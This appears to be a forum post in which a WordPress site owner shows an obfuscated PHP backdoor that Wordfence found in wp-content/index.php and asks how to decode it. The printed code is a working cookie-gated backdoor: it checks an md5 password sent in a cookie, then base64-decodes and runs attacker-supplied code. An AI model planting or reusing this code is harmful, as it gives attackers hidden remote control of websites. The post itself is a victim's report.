wordpress/wp-content/index.php – Silence is golden

Wordfence scan showed me an issue with wordpress/wp-content/index.php file, after further examination, I found following:

$ cat index.php
<?php $np="\x5f\x43O\x4f\x4b\x49\x45";$qe7=&$$np;$dv=array("sz"=>@$qe7["\x7ah\x33\x70"],"kcu"=>"\x66\x39\x33\x65\x38\x309\x6131d\x64\x62\x63\x30\x38\x65\x65\x62\x30\x66\x33\x35\x65\x34\x39\x37\x34\x62\x63\x66\x37","ne7"=>"\x6d\x64\x35","vtd"=>"ba\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","ofb"=>"\x63\x72\x65a\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6fn","km"=>"\x7a2\x6f\x7a\x65\x68\x30\x30");$dt="e\x78\x74\x72\x61\x63\x74";$dt($dv);if($ne7(@$qe7[$km])==$kcu){$oli=$ofb("",$vtd($sz));$oli();}

// Silence is golden.
?>$

… of course, I restored file back to original (thanks to Worfence), but how would I decode that? I’m just curios)

Anyone?

https://wordpress.org/plugins/wordfence/